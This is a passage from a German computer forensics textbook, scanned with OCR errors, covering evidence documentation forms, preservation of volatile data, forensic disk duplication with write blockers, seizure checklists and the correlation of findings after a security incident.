hatte. Dies ist bei elektronischen Beweisen nicht mehr praktikabel
durchfithrbar, deswegen sollte von jedem elektronischen Beweis eine
digitale Prifsumme erstellt und fiir den Integrititsnachweis aufbe-
wahrt oder ausgedruckt werden. Nach Maoglichkeit sollten Zeugen
hinzugezogen werden, die jede durchgefiihrte Aktion mit einer Unter-
schrift in der Dokumentation versehen. Dies ist fiir jeden eingegebenen
Befehl etwas unpraktisch, sollte aber wenigstens fiir alle wesentlichen
Feststellungen vorgenommen werden. Jeder gefundene Beweis sollte
auf einem Beweiszettel vermerkt werden. Hierzu ist es sinnvoll, eine
Beschriftungsnomenklatur zu erstellen, anhand derer die Beweise ein-
deutig identifiziert werden konnen. Dieser Zettel kann z.B. auch eine
Art Laufzettel fiir den Beweis darstellen.

4.6.6 Beweise dokumentieren

Die gefundenen Beweise sollten so dokumentiert werden, dass bei
einer spdteren juristischen Ermittlung keine Zweifel an Herkunft,
Besitztum und Unversehrtheit bestehen. Aus diesem Grund ist es rat-
sam, fir jedes gefundene bzw. sichergestellte Objekt (Festplatte, PDA,
Ausdruck, CD-ROM, Notebook etc.) einen Beweiszettel o.A. anzule-
gen, der den Gegenstand eindeutig identifiziert, die vollstindige
Anzahl nennt und den Besitzer des Objekts (wenn bestimmbar) doku-
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mentiert. Zusitzlich sollte diesem Beweiszettel eine genaue Beschrei-
bung des Objekts hinzugefiigt werden. Gerade wenn mehrere Personen
oder Organisationen an der Ermittlung beteiligt sind, sollte man doku-
mentieren, wer zu welchem Zeitpunkt und aus welchem Grund
Zugriff auf Beweisstiicke hatte.

Fall :
Beweiszettel
Datum: Standort/Fundort ID:
Uhrzeit
Ermittler Zeuge
Unterschrift Ermittier Unterschrift Zeuge
Gegenstand Anzahl Beschreibung (Typ, Hersteller, Farbe, ggfls. Wert etec.)
Ausgabevermerk
Dat./Uhrzeit Her durch durch Grund
Name Name
Organisation Organisation
Unterschrift Unterschrift
Name Name
Organisation Organisation
Unterschrift Unterschrift
Name Name
Organisation Organisation
Unterschrift Unterschrift
Name Name
Organisation Organisation
Unterschrift Unterschrift
Name Name
Organisation Organisation
Unterschrift Unterschrift
Name Name
Organisation Organisation
Unterschrift Unterschrift
Schlussiibergabe
Durchgefiihrte Aktionen: (Rackgabe an Empfiinger, Zeuge
Besitzer, Archivierung, Zerstérung efc.) Name Unterschrift Datum
1)
2)
3)
4)

Neben dem Beweisstiick selbst kommt haufig auch dem Fundort eine
besondere Bedeutung zu. Aus diesem Grund sollte ebenfalls festgehal-
ten werden, wo und unter welchen Umstinden das verdichtige Objekt

Abb. 4-1
Beispiel eines

Beweiszettels

Fundort notieren
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aufgefunden wurde. In manchen Fillen ist dieses Vorgehen scheinbar
iibertrieben. Die Erfahrung zeigt aber, dass wenn diese Daten nicht
frithzeitig erfasst werden, die gefundenen Beweisstiicke in einer spate-
ren juristischen Untersuchung an »Glaubwiirdigkeit« verlieren kénn-
ten. Der Aufwand, der fir die Sammlung der Beweismittel betrieben
wird, ist auch hier wieder vom Wesen des Sicherheitsvorfalls und der
moglichen Tragweite abhangig.

4.6.7 Mogliche Fehler bei der Beweissammlung

Es gibt einige wesentliche Aspekte, die bei der Ermittlung beachtet
werden miissen, wenn man an ein »frisch gehacktes« System kommt.
Oft befindet man sich dabei in dem Dilemma, dass man einerseits das
angegriffene System nicht verdndern sollte, aber dennoch vitale Para-
meter dieses Systems benotigt, gerade wenn die » Colts noch rauchen«.

Die Zeitstempel (siehe Abschnitt 5.3) der Dateien auf dem angegrif-
fenen System diirfen nicht verindert werden.

Durch das Aufrufen von Systembefehlen auf dem angegriffenen
System oder das Ansehen von Konfigurationsdateien dndern sich
deren Daten des letzten Dateizugriffs. Zusatzlich ist es fatal, mit
Dateien zu arbeiten, die moglicherweise von einem Angreifer
modifiziert wurden. Die erste MafSnahme an einem gehackten Sys-
tem sollte daher auch die Dokumentation der aktuellen Uhrzeit
sein, damit man einwandfrei erkennen kann, welche Zeitstempel
vor bzw. nach der Ermittlung modifiziert wurden.

Tools mit grafischer Oberfliche sollten auf dem betroffenen Sys-
tem nicht verwendet werden.

Gerade die Verwendung von grafischen Oberflichen bedingt, dass
auf dem betroffenen System auf eine Vielzahl von Binirdateien
(z.B. Bibliotheken) und Konfigurationsdateien zugegriffen wird.
Dadurch andern sich mit einem Schlag die Zeitstempel des letzten
Zugriffs. Zur Verdeutlichung: Beim Start sowohl von Windows als
auch des Gnome-Desktops unter Linux werden die Zeitstempel des
letzten Zugriffs von mehr als 1.000 Dateien gedndert.

Verdichtige Prozesse sollten nicht beendet werden.

Mochte man herausfinden, ob weitere Angriffstools auf dem Sys-
tem aktiv sind, ist es sinnvoll, eine Liste der laufenden Prozesse auf
dem System einzusehen. Es kommt hin und wieder vor, dass beim
Beenden eines verdichtigen Prozesses wichtige Spuren beseitigt
werden. In der Praxis ist oft auch zu erleben, dass unter Unix von
einem Angreifer ein Prozess gestartet und die zugehorige Datei
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dann geloscht wurde. Von allen laufenden Prozessen finden sich
aber Bindrkopien im Verzeichnis /proc. Wird der Prozess beendet,
verschwindet auch diese Kopie, die man fiir die weitere Ermittlung
gut hitte verwenden konnen. Weiterhin finden sich in den von
einem verdachtigen Prozess benutzten Speicherbereichen zusatzli-
che interessante Informationen.

Es sollten keine unprotokollierten Kommandos ausgefiihrt werden.
Wurden Systembefehle oder Kommandos aufgerufen, die sich in
keinem Protokoll finden, kann es zu Liicken in der Beweiskette
kommen. Dies betrifft auch die Ausgabe der aufgerufenen Kom-
mandos.

Es diirfen keine vertrauensunwiirdigen Programme bzw. System-
tools verwendet werden.

War ein Angreifer auf einem System mit Administratorrechten
angemeldet, ist zu vermuten, dass er Hintertlren eingebaut oder
Systemdateien ausgetauscht hat (siehe Abschnitt 5.11). Ein Ermitt-
ler sollte sich unter keinen Umstinden auf die Ausgaben der Sys-
temtools verlassen, sondern eigene »saubere« Systemkommandos
aus vertrauenswiirdiger Quelle verwenden.

Security Patches oder Updates nur dann installieren, wenn das Res-
ponse-Team dies empfiebls.

Mochte man herausfinden, welche Sicherheits- oder Konfigurati-
onsliicke zu dem Sicherheitsvorfall gefiihrt hat, ist es sinnvoll, diese
Liicke zumindest ein kurzes Zeitfenster lang offen zu lassen. Dieses
ist natiirlich immer im Einzelfall abzuwagen, da dadurch eventuell
zusdtzlicher Schaden entstehen konnte. Man kann allerdings auch
nachvollziehen, dass ein schockierter Administrator schnell einen
Security-Patch einspielt oder eine Firewall-Regel aktiviert, damit
ihm kein Fehlverhalten nachgewiesen werden kann. Hier sollte ver-
antwortungsbewusst mit den Mitarbeitern umgegangen werden.
Die Erfahrung zeigt im Ubrigen nicht nur hier, dass sich ein ange-
nehmes Betriebsklima und eine gute Unternehmenskultur positiv
auswirken konnen.

Software nur dann installieren oder deinstallieren, wenn das Res-
ponse-Team dies empfiebls.

Durch das iibereilte Installieren bzw. Deinstallieren von Software
auf dem angegriffenen System konnen wichtige Beweise verloren
gehen. Forensik-Tools, die erst auf dem zu untersuchenden System
installiert werden missen, sollten nicht ernsthaft in Erwigung
gezogen werden.
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Stecker ziehen?

Keine Systembefehle

verwenden!

Protokolle sollten nicht auf die zu untersuchende Platte geschrie-
ben werden.

Wenn die verwendeten Programme ihre Protokolldateien auf das
gleiche Dateisystem schreiben, kénnen moglicherweise wichtige
Beweise zerstort werden, z.B. Daten im File Slack oder in unallo-
zierten Dateisystembereichen.

Ein ordnungsgemdfer Shutdown kénnte Beweise vernichten.

Die Entscheidung, ob man ein System ordnungsgemafS herunter-
fahrt oder ob es einfach durch das sprichwortliche Steckerziehen
vom Stromnetz genommen wird!, hingt von vielen Faktoren ab.
Beim ordnungsgemifsen Shutdown werden wieder sehr viele
Dateien »angefasst«, dadurch werden die Zeitstempel des letzten
Zugriffs verandert. Ist das System so konfiguriert, dass der Swap-
Bereich beim Shutdown geloscht wird, kénnen auch hier wertvolle
Informationen, die aus dem Hauptspeicher stammen, vernichtet
werden. Nicht alle Dateisysteme verkraften ein hartes Herunter-
fahren, allerdings ist nicht zu erwarten, dass man mit dem Server
ohne Neuinstallation weiterarbeiten wird. Ist das System ausge-
schaltet worden, findet sich ein kompletter Status der laufenden
Umgebung auf den Dateisystemen, allerdings lassen sich die fliich-
tigen Informationen kaum mehr hervorholen. Die letztendliche
Entscheidung muss immer im Kontext des konkreten Falls getrof-
fen werde. Wie bereits festgestellt: Der Status des Systems wird in
jedem Fall veridndert!

4.7 Fliichtige Daten sichern: Sofort speichern

Wird man zu einem System gerufen, das im Verdacht steht, gehackt
worden zu sein, ist es wichtig, innerhalb kiirzester Zeit so viele vitale
Informationen wie moglich zu sammeln, ohne dabei iiberall seine eige-
nen »Fingerabdriicke« zu hinterlassen. Es handelt sich hierbei um
wichtige Statusdaten, die sowohl nach einem Shutdown als auch nach
einem harten Ausschalten des Systems nicht mehr verfiigbar sind.

Es sei auch an dieser Stelle nochmals darauf hingewiesen, dass
man fiir die Sammlung dieser fliichtigen Informationen unter keinen
Umstianden die Systembefehle verwenden darf. Der Grund liegt zum
einen darin, dass es sich um trojanisierte Programme handeln kann,
die entweder bestimmte Informationen verbergen oder auch Schad-
funktionen aktivieren konnen. Die Verwendung der lokalen Komman-

1. Der Stecker sollte dann direkt am Gerit gezogen werden, damit eine eventuell
ibersehene USV nicht doch noch einen Shutdown initiiert.
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dos wiirde deren Zeitstempel des letzten Aufrufs verandern. Aus die-
sem Grund sollte mit eigenen sicheren und aus vertrauenswiirdiger
Quelle stammenden Dateien gearbeitet werden.

Die Protokolldateien sollten entweder auf eine Diskette, in einer
RAM-Disk oder uiber das Netz geschrieben werden. Hier eignet sich
auch der Einsatz von Skripten oder Batch-Dateien, die die benétigten
Informationen sehr schnell sammeln konnen.

Unabhingig davon, welche der in Abschnitt 7.1.1 und 7.2.1 vor-
gestellten Tools und Verfahren Sie zum Sammeln der benotigten Daten
verwenden, sollten grundsitzlich folgende Informationen gesammelt
werden:

Systemdatum und -uhrzeit (mit Abweichung von einer Referenz-
zeit)

Liste der aktiven Prozesse

Liste der geoffneten Sockets

Liste der Anwendungen, die auf ge6ffneten Sockets lauschen

Liste der User, die gerade angemeldet sind

Liste der Systeme, die gerade eine Netzverbindung haben oder vor
Kurzem eine hatten

Sind diese Daten erfasst, kann man sich auf die Suche nach weiteren
verddchtigen Spuren machen.

Grundsatzlich wird gesucht nach
Timestamps des gehackten Systems,
trojanisierten Systemprogrammen,
versteckten Dateien und Verzeichnissen,
verdachtigen Dateien oder Sockets und
verdachtigen Prozessen.

Haufig genligt ein einzelner Ansatzpunkt, um die richtige Spur zu finden!

Aktuelle Uhrzeit

Damit alle eingegebenen Befehle einem Startzeitpunkt zugeordnet wer-
den konnen, sollte unbedingt die lokale Uhrzeit des Systems erfasst
werden. Alle Aktionen, die ab diesem Zeitpunkt erfolgen, sollten ein-
wandfrei der Ermittlungstéitigkeit zuordenbar sein.

Cache-Inhalt

Der Inhalt von Cache- und Auslagerungsdateien ist fir die Analyse
von laufenden Programmen oder abgesetzten Befehlen von Interesse.
Soweit in einer laufenden Umgebung Zugang zu diesen moglich ist,
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sollten diese erfasst werden. Der Umfang ubersteigt allerdings den
Speicherplatz, den eine normale Diskette bietet.

Speicherinhalte

Der Inhalt des Hauptspeichers sollte komplett und auch im Prozess-
kontext erfasst werden. Fir die einfachere Auswertung sollte der einer
Prozess-ID zugeordnete Hauptspeicherinhalt jeweils separat erfasst
werden. Auch diese Informationen passen nicht auf eine Diskette.

Status der Netzverbindung

Wesentliche Anhaltspunkte tiber eventuell aktive Hintertirprogramme
finden sich auch in der Auflistung der offenen Netzwerkports. Zusitz-
lich l4sst sich auch erkennen, ob Verbindungen gerade aufgebaut oder
im Abbauprozess sind. Finden sich z.B. sehr viele Verbindungsaufbau-
anfragen, ist davon auszugehen, dass dieses System fiir einen Distribu-
ted-Denial-of-Service-Angriff oder einen Portscan verwendet wurde.
Einige Betriebssysteme fithren eine Statistik tiber die Anzahl der erfolg-
reichen oder erfolglosen Verbindungsaufbauversuche. Diese kann mit
einem Befehl ausgelesen werden. Weiterhin ist es natiirlich von Inter-
esse, welche Applikation bzw. welcher Service den Port geoffnet hat.

Status der laufenden Prozesse

Eine Liste der aktuell laufenden Prozesse sollte gesichert werden.
Zusitzlich sollten weitere Informationen (Umgebungsvariablen, Uber-
gabeparameter, geladene Bibliotheken, offene Dateideskriptoren etc.)
gespeichert werden.

Inhalt der Speichermedien

Finden sich in dem System Disketten oder Wechselmedien, sollten
diese sichergestellt werden.

Beispiele zum Sammeln der gerade erwahnten Informationen kon-
nen den folgenden Kapiteln 6 und 7 entnommen werden.

Inhalt des Hauptspeichers

In zunehmendem Mafe ist es wichtig, auch den Hauptspeicher (RAM)
des verdichtigen Systems zu sichern. Hierbei geht es nicht nur darum,
den gesamten Speicherinhalt als eine grofle Datei zu sichern, sondern
auch stukturelle Informationen. Hierzu gehoren beispielsweise die
Informationen, welcher Prozess welche Bibliotheken geladen hat bzw.
bestimmte Speicherbereiche belegt. Unter gewissen Umstinden lassen
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sich diese Informationen auch im Nachhinein aus einem Hauptspei-
cherdump herauslesen. Wenn man auf Nummer sicher gehen will, soll-
ten die Daten sowohl stukturiert als auch als Komplettdump sicherge-
stellt werden.

4.8 Speichermedien sichern: Forensische Duplikation

Die forensische Duplikation von sichergestellten Speichermedien hat
sich quasi zu einem Standardvorgang bei der Ermittlung im Umfeld
der Computerkriminalitit entwickelt. Ein forensisches Duplikat ist
letztendlich lediglich ein Image eines Datentragers, das bitweise als
eine 1:1-Kopie sicher erzeugt wurde. Dabei wird, unabhingig von den
logischen Laufwerkszuordnungen, der gesamte physische Datentriger-
inhalt tibertragen.

Grundsitzlich konnen mehrere Verfahren zum FEinsatz kommen,
wobei die letztendlich gewihlte Variante auch von den lokalen Gege-
benheiten am Einsatzort abhingt:

Die verdachtige Festplatte wird aus dem gehackten System entfernt
und dann an das Analysesystem des Ermittlers angeschlossen.

An das gehackte System wird eine zusitzliche saubere Festplatte
des Ermittlers angeschlossen.

Die kopierten Daten werden iiber ein (geschiitztes) Netzwerk auf
das Analysesystem des Ermittlers iibertragen.

Um das versehentliche Uberschreiben der Festplatte zu verhindern,
sollten unbedingt zusitzlich sogenannte Writeblocker angeschlossen
werden. Diese Gerite verhindern physisch, dass auf den zu sichernden
Datentrager schreibend zugegriffen wird. Der Datentrager kann ganz
normal auch unter Windows oder Linux sichtbar gemacht werden, ein
Schreiben ist aber nicht moglich. Wird ein Writeblocker bei der Image-
Erstellung verwendet, kann keine Partei in der juristischen Aufberei-
tung ein versehentliches Schreiben und damit unsauberes Arbeiten
unterstellen. Writeblocker gibt es von verschiedensten Herstellern fir
USB-, SCSI-, Firewire- oder IDE-Schnittstellen.

Neben den in Abbildung 4-2 gezeigten mobilen Writeblockern
gibt es auch stationire, in Analysesysteme eingebaute Writeblocker,
die oft bessere Geschwindigkeiten erzielen.

Ein Standardverfahren
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Abb. 4-2
Der Writeblocker wird
zwischen Analysesystem

und zu sichernder
Festplatte positioniert (in
diesem Bild ist der
Writeblocker via USB an
das Analysesystem
angeschlossen).

HPA

Bei der Erstellung einer forensischen Duplikation ist darauf zu achten,
dass es auf Datentridgern mittlerweile zahlreiche Bereiche gibt, in
denen Daten versteckt werden konnen. So wird beispielsweise die Host
Protected Area (HPA) in der Regel vom Festplattenhersteller zum Spei-
chern von Informationen verwendet, die nur mittels ATA-Kommandos
zugreifbar sind. Das fir die Duplikation verwendete Verfahren und
Betriebssystem sollte in der Lage sein, HPA und andere schwer zugreif-
bare Bereiche zu erkennen und zu sichern. Ein dhnlicher Bereich ist
auch der Device Configuration Overlay (DCO).

4.8.1 Wann ist eine forensische Duplikation sinnvoll?

Die Arbeit an einem mittels forensischer Duplikation erzeugten Fest-
platten-Image bringt enorme Vorteile. Im Gegensatz zu den Tatigkei-
ten, die bei der Erfassung von fliichtigen Daten an einem Live-System
durchgefiihrt werden missen, kann sich der Ermittler seinen eigenen
Untersuchungspfad legen und muss nicht stindig Gefahr laufen, dass
Informationen verschwinden oder zerstort werden konnten. Das
forensische Duplikat kann beliebig kopiert werden; die Gefahr von
Datenverlust oder -modifikation besteht nicht, da mit Prifsummenver-
fahren gearbeitet werden kann. Es konnen an diesen Kopien mehrere
zeitaufwendige Tatigkeiten gleichzeitig durchgefiihrt werden, wihrend
das Originalsystem vielleicht schon wieder neuinstalliert wird. Auch
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lasst sich die Arbeit gut iiber mehrere Personen verteilen, um eventuell
unterschiedlich vorhandenes Know-how besser zu biindeln.

Wihrend die Untersuchung am Live-System mit der Arbeit in einer
Notaufnahme vergleichbar ist, ahnelt die Arbeit am Festplatten-Image
der Arbeit in der Gerichtsmedizin. Es ist wohl unbestritten, dass — die-
sem Vergleich folgend — im Sektionssaal der Gerichtsmedizin eine
grindlichere und stressirmere Arbeit moglich ist als im Schockraum
der Notaufnahme.

Die Auswertung von Daten auf einem forensischen Duplikat einer
Festplatte kann mitunter sehr zeitaufwendig sein. Die Entscheidung,
ob ein solches Duplikat angefertigt werden sollte, hangt im Wesentli-
chen von der Beantwortung der folgenden Fragen ab:

Kann es zur straf- oder zivilrechtlichen Ahndung kommen?
Entsteht durch Produktionsausfall ein hoher Verlust?
Entsteht durch Zerstérung ein hoher Verlust?

Miissen Daten als Beweis wiederhergestellt werden?

Muss der freie Speicherbereich durchsucht werden?

Ist eine der genannten Fragen positiv zu beantworten, ist i.d.R. eine
forensische Duplikation der Festplatten des zu untersuchenden Sys-
tems sinnvoll.

482 Geeignete Verfahren

Es gibt eine Vielzahl von Werkzeugen, die den Ermittler bei der Erstel-
lung von forensischen Duplikaten unterstiitzen. Einige dieser Tools
werden in den Kapiteln 6 und 7 niher vorgestellt. Wenn auch die
Grundfunktionalitit und die zugrunde liegende Technologie keine
bahnbrechenden Neuerungen erfahren haben, ist der Anbietermarkt
dynamisch. Bei der Auswahl oder Bewertung eines Werkzeugs oder
einer bestimmten Technologie sind deswegen wesentliche Anforderun-
gen zu stellen:

Die Ubertragung der Daten muss bitweise erfolgen. Jedes Bit des
Untersuchungsmediums muss tibertragen werden.

Lesefehler miissen zuverldssig und robust behandelt werden. Nach
mehrfachem Leseversuch muss der fehlerhafte Sektor markiert und
mit einem Platzhalter versehen werden.

Es diirfen keine Anderungen am Originalmedium vorgenommen
werden. Der Zugriff darf nur lesend erfolgen.

Die Anwendung muss nachvollziehbar arbeiten. Alle Aktionen
mussen durch einen Dritten die gleichen Ergebnisse liefern. Dies ist

Bewertung der Verfahren
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Hardwarelésungen

gerade fiir die gerichtliche Verwertung der gewonnenen Erkennt-
nisse von wesentlicher Bedeutung.

Das erstellte Image muss durch kryptografische Verfahren (Check-
summen oder Hash-Algorithmen) geschiitzt werden konnen. Ver-
anderungen am erstellten Image mussen damit zuverldssig und
sofort erkannt werden konnen.

Werden Festplattenkopien angelegt, ist unbedingt sicherzustellen, dass
die Zielplatte keine alten Datenreste enthilt.

Einige Hersteller von Dupliziersystemen sind dazu tibergegangen,
nicht mehr das gesamte Festplatten-Image im Rohformat zur Verfi-
gung zu stellen, sondern die fur die Analyse wesentlichen Informatio-
nen bereits zu extrahieren. Dies hat sicherlich im Sinne einer besseren
Performance Vorteile und erspart aufwendige Zwischenschritte. Der
Ermittler muss dann aber hidufig vor der Duplikation entscheiden, was
er analysieren mochte. Die Anwendung von neuen Analysemethoden
konnte dann im Nachhinein erschwert werden, da bereits eine »Vor-
verdichtung« der Daten stattgefunden hat. Zusatzlich bleibt manch-
mal ein fader Beigeschmack, da nicht immer so genau zu tiberblicken
ist, was gerade mit den Daten passiert. Aus diesem Grunde empfiehlt
es sich, ein »echtes« Festplatten-Image zu erstellen und es dann mit
diesen erweiterten Tools zu bearbeiten. Die meisten professionellen
Werkzeuge erlauben die unproblematische Analyse von bereits erstell-
ten Festplatten-Images. Somit ist die Gefahr des Beweiskraftverlustes
ebenfalls abgeschwacht.

Neben Verfahren, die als reine Softwarelosung fungieren, kann
eine forensische Duplikation auch iiber spezielle externe Gerite durch-
gefiihrt werden. Dies hat den Vorteil, dass hier mit grofleren
Geschwindigkeiten dupliziert werden kann, was gerade die Sicherung
von mehreren grofSen Festplatten erleichtert. Hier gilt aber ebenfalls,
dass das erstellte Image nicht modifiziert werden darf. Dies kann aber
sehr einfach mittels Prifsummen kontrolliert werden.

4,9 Was sollte alles sichergestellt werden?

Steht man vor der Aufgabe, einen PC fiir die Analyse sicherzustellen,
sollte erwogen werden, folgende Dinge mitzunehmen:

Haupteinheit, in der alle mafSgeblichen Komponenten enthalten
sind (normalerweise reichen die eingebauten Datentrager aus, aber
am Anfang kann man dies noch nicht so genau wissen).
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Monitor und Tastatur nur in besonderen Fillen, wenn es sich bei-
spielsweise um Spezialgerite mit Zusatzfunktionen fiir die Authen-
tisierung handelt.

Externe Stromkabel, wenn es sich um Spezialkabel handelt oder
diese fur die Versorgung von externen Geraten verwendet werden,
die auch sichergestellt werden.

Externe Festplatten, Disketten, DVD, CD, WORM und Backup-
Binder, die sich im nidheren Umfeld des verdichtigen Systems
befinden.

Speicherkarten, die sich im niheren Umfeld oder am Tatverdachti-
gen selbst befinden (fur die Durchsuchung der personlichen Klei-
dung sollte fiir private Ermittler die geeignete Rechtsgrundlage
vorhanden sein). Besonders ist hier auf USB-Sticks an Schlissel-
bunden etc. zu achten.

Externe Kommunikationssysteme, die fiir die Identifikation einer
Verbindung oder auch deren Missbrauch analysiert werden miis-
sen. Hierzu zahlen WLAN-Router, DSL- und analoge Modems,
ISDN-Adapter, aber auch WLAN-, ISDN-, Ethernet-PCMCIA-
Karten.

Geht es in der aufzuklirenden Fragestellung um die Benutzung von
Spezialsoftware, die nur mit Dongles oder besonderen Lizenzmerk-
malen verwendet werden kann, sollte der Zugriff auf diese Dongles
moglich sein.

Bei entsprechender Fragestellung sind Digitalkameras sowie MP3-
Player und deren Speicherkarten ebenfalls zu analysieren, denn
eine Kamera kann nicht nur Grafikdateien speichern, sondern auch
als normales Massenspeichermedium verwendet werden.

Mit zunehmender Bedeutung von Personal Digital Assistents
(PDA) und Mobiltelefonen sind auch diese sicherzustellen. Zum
einen konnen sich hier Hinweise auf Kommunikationspartner fin-
den, zum anderen auch gespeicherte Daten analysiert werden.

Bei allen sicherzustellenden Systemen und Komponenten sollte abge-
wogen werden, ob durch die Komplettsicherstellung nicht hinnehm-
bare Beeintrachtigungen der Arbeitsfihigkeit entstehen kénnen und
dadurch der Schaden eventuell noch grofSer wird als durch das eigent-
liche Delikt selbst.
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4,10 Erste Schritte an einem System fiir die

Sicherstellung

Unabhingig von der konkreten Fragestellung und dem verwendeten
Betriebssystem gibt es ein paar allgemeingiiltige Schritte bei der Sicher-
stellung eines verddchtigen Client-PC zu betrachten. Bei Serversyste-
men kann es zu abweichenden Handlungen kommen. Auf jeden Fall
sollte man sich im Vorfeld Gedanken machen, wie bei einer Sicherstel-
lung im eigenen Zustandigkeitsbereich vorzugehen ist.

4.10.1 System lauft nicht (ist ausgeschaltet)

1.

10.

11.

12.

Alle fremden Personen vom System und der Stromversorgung ent-
fernen.

Umgebung fotografieren bzw. Skizze anfertigen (Standort der Sys-
teme und Monitore etc.)

Eventuell aktive Druckjobs zu Ende laufen lassen.

Unter keinen Umstidnden das System einschalten! (Vorsicht bei
Notebooks: Sie konnen sich einschalten, wenn man den Deckel
offnet.)

Sicherstellen, dass das System wirklich ausgeschaltet ist (Bild-
schirmschoner kénnen oft tiuschen).

Ist das System eventuell im Standby-Modus? Sonst bei Notebooks
Akkus entfernen, damit nicht ein Energiesparmodus anspringt
und moglicherweise Zeitstempel verandert.

Stromkabel am Gerit entfernen.

Netzwerkkabel entfernen, damit eine WakeOnLan-Funktion den
Rechner nicht wieder hochfahren ldsst.

Alle sichergestellten Gerite und Objekte missen eindeutig be-
schriftet werden (wichtig, wenn die Analyse und Sicherstellung
durch unterschiedliche Personen durchgefihrt werden).

Nihere Umgebung nach Notizen oder Papierunterlagen durchsu-
chen.

Nach Moglichkeit sollte der Anwender nach Besonderheiten des
Systems, Passwortern oder anderen Konfigurationsspezifika be-
fragt werden. Die Antworten sollten genau dokumentiert und bei
Bedarf kritisch hinterfragt werden.

Dokumentation aller mit der sichergestellten Hardware durchge-
fithrten Tatigkeiten.
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4,10.2 System lauft (ist eingeschaltet)

1. Alle fremden Personen vom System und der Stromversorgung ent-
fernen.

2. Umgebung fotografieren bzw. Skizze anfertigen (Standort der Sys-
teme und Monitore etc.)

3. Nach Moglichkeit Anwender nach Besonderheiten des Systems,
Passwortern oder anderen Konfigurationsspezifika befragen. Die
Antworten sollten genau dokumentiert und bei Bedarf kritisch
hinterfragt werden.

4. Bildschirminhalte festhalten (mit Digitalkamera o.A.).

5. Keyboard und Maus nach Maoglichkeit nicht sofort beriihren. Ist
der Bildschirm »blank«, sollte der Ermittlungsleiter befragt wer-
den, ob durch Mausbewegung der Bildschirminhalt hergestellt
werden soll. Der genaue Zeitpunkt der »Mausbewegung« sollte
notiert werden, da dadurch unter Umstianden Zeitstempel verdn-
dert werden konnen.

6. Wo moglich/notig, Durchfithrung einer Live Response (fliichtige
Daten, die nach dem Ausschalten verloren sind, nicht-invasiv si-
chern). Alle Tatigkeiten sollten mit genauer Uhrzeit protokolliert
werden.

7. Alle weiteren Schritte dann wie oben beschrieben ausfiihren.

Bei anderen Systemen, beispielsweise PDA und Mobiltelefonen, miis-
sen abhingig von der verwendeten Technologie unterschiedliche
Methoden angewandt werden (siehe Abschnitt 7.3.3).

4.10.3 Entscheidungsprozesse

Jeder Sicherheitsvorfall ist individuell und kann besondere Entschei-
dungen erfordern. Zusitzlich zu den in den beiden vorherigen Unter-
kapiteln aufgeworfenen Fragen lassen sich noch weitere Entschei-
dungsbaume abfragen, die zu einem groben standardisierten Vorgehen
fithren. In Anlehnung der Empfehlungen der International Association
of Computer Investigative Specialists (IACIS) kann das folgende
Ablaufdiagramm als Basis dienen. Hierbei geht es darum, dass in den
ersten Stunden nach einem Sicherheitsvorfall oft kein Computer-
Forensik-Spezialist in der Nihe ist, der lokale Nicht-Spezialist aber
Entscheidungen treffen muss.
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Spezialisten

4.11 Untersuchungsergebnisse zusammenfiihren

Es ist sicherlich nicht sehr komplex, die einzelnen Spuren aus den oben
beschriebenen Quellen zu sammeln. Hierzu bedarf es guter handwerk-
licher Fahigkeiten und der Kenntnis der jeweiligen Plattform, einiges
wird auch durch komfortable Werkzeuge abgenommen. Die Heraus-
forderung bei jeder Ermittlung besteht aber darin, alle diese Beweise in
einen kausalen und auch zeitlichen Zusammenhang zu bringen und
entsprechende Schliisse daraus zu ziehen. Die bei der forensischen
Analyse von digitalen Spuren gefundenen Untersuchungsergebnisse
miissen mit anderen Ereignissen korreliert, also in Zusammenhang
gebracht werden. Die zeitlichen Abldufe mussen plausibel und nach-
vollziehbar sein. Haufig lassen sich die einzelnen Spuren sehr gut nach-
weisen und interpretieren. Die Erfahrung zeigt aber, dass gerade der
Zusammenhang kritischen Fragen standhalten muss.
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Zusammenhang Zusammenhang Zusammenhang Zusammenhang Abb. 4-4
o BN Herstellen der zeitlichen
Protokolldaten der Protokolldaten des Protokolldaten der Protokolldaten des Protokolldaten der Abhang[gke[ten zwischen
Zutrittskontrolle Betriebssystems Netzanwendung Netzverkehrs Anwendung

l l l l l

Lokale Anwesenheit Benutzung des PC Zugriff auf das Netz Angriff des Servers Schaden auf dem
zur fraglichen Zeit Server verursacht

Durch die Herstellung des Zusammenhangs der digitalen Beweise mit
»physischen« Beweisen kann ein genaueres Bild vom moglichen Tather-
gang gezeichnet werden. Eine abschliefSende Bewertung des gesamten
Sachverhalts ohne die Wiirdigung des weiteren Umfelds ist nur in den
seltensten Fillen moglich. Die folgenden Fragen dienen der Erweite-
rung Thres Blickfelds bei der Beurteilung von digitalen Spuren:

Wiar fiir die Durchfiihrung der strafbaren Handlung ein physischer
Zugang zum PC notig?

Welche Personen hatten aufser dem Verdichtigen noch Zugang zu
dem Computer?

War auf dem PC ein Cronjob oder Scheduler aktiv, der die ver-
dichtige Handlung ohne Anwesenheit des Tatverdiachtigen durch-
fithren konnte?

Besteht eventuell die Moglichkeit, dass die digitalen Spuren durch
Fremdeinwirkung Dritter zustande gekommen sein konnten?
Existieren weitere Beweise, die die Aussagen der digitalen Spuren
bestitigen oder diesen widersprechen?

Uber welche Computerkenntnisse verfiigen der Tatverdichtige
bzw. seine Mittdter wirklich bzw. welche Kenntnisse sind fir die
Tatdurchfiihrung notig?

Ist die Hardware transportabel oder kann der Tatverdachtige seinen
Standort durch die Verwendung mehrerer Computer verschleiern?
Kann ein geschriebener Angriffscode oder ein verriterisches Doku-
ment bzw. eine E-Mail in Verbindung zum Tatverdichtigen
gebracht werden (z.B. durch Stil, Vokabular oder bestimmte Rede-
wendungen)?

Konnen die gefundenen Spuren tiber besuchte Webseiten mit dem
Sachverhalt in Verbindung gebracht werden?

Finden sich Hinweise auf E-Mails oder Chat-Rooms bzw. IRC-
Channels, die eventuelle Mittiter oder Mitwisser identifizieren
konnten?

Diese Aufzihlung muss im konkreten Einzelfall um weitere Fragestel-
lungen erganzt werden.

den einzelnen Tatspuren

Wiirdigung des Umfelds
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4,12 Haufige Fehler

Nicht nur beim Umgang mit Beweismitteln, sondern auch bei der
grundsitzlichen Behandlung von Sicherheitsvorfillen werden oft
wesentliche Fehler gemacht, die eine weitere Ermittlung bzw. gerichtli-
che Verwertung der gewonnenen Beweise erschweren.

Kein Incident-Response-Plan in Vorbereitung

Incident-Response-Plane helfen nicht unbedingt, den Eintritt eines
Schadens zu verhindern. Dies kann nur tiber flankierende Mafsnahmen
erreicht werden. Eine gute Vorbereitung ermoglicht es aber, dass jeder
Mitarbeiter seine Rolle bei einem Sicherheitsvorfall kennt und entspre-
